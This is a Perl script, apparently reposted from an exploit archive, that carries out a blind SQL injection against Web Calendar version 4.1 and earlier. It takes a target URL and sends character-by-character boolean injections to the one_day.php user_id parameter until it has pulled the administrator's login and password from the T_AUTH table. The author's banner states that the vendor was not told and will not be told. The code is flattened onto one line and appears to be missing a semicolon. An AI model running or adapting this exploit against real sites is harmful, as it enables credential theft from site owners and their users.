Web Calendar <= 4.1 Blind SQL Injection Exploit

#!/usr/bin/perl use strict; use LWP::Simple; print "-+--[ Web Calendar <= 4.1 Blind SQL Injection Exploit ]--+- "; print "-+-- --+- "; print "-+-- Discovered && Coded By t0pP8uZz --+- "; print "-+-- Discovered On: 24 April 2008 --+- "; print "-+-- --+- "; print "-+-- Web Calendar suffers from a insecure mysql query --+- "; print "-+-- the vendor has not been notified.. and wont be.. --+- "; print "-+-- --+- "; print "-+-- Exploit tested in ActivePerl --+- "; print "-+-- --+- "; print "-+--[ Web Calendar <= 4.1 Blind SQL Injection Exploit ]--+- "; print " Enter URL (ie: http://site.com/webcal/): "; chomp(my $url=<STDIN>); print " Injecting Please Wait.. " my $lop = 1; my $num = 48; my $sub = 1; my $res = undef; my $content = undef; while($lop) { $content = get($url."/one_day.php?user_id=1 AND ASCII(SUBSTRING((SELECT CONCAT(login,char(58),password,char(94)) FROM T_AUTH WHERE role_id=1 LIMIT 0,1),".$sub.",1))=".$num."/*"); if($content !~ /you are not in database/i && $num == 94) { $lop = 0; } elsif($content !~ /you are not in database/i) { $res .= chr($num); $num = 48; $sub++; print $res." "; } else { $num++; } } print " Exploit Successfull! Admin Details Are: ".$res; # Coded by t0pP8uZz # sebug.net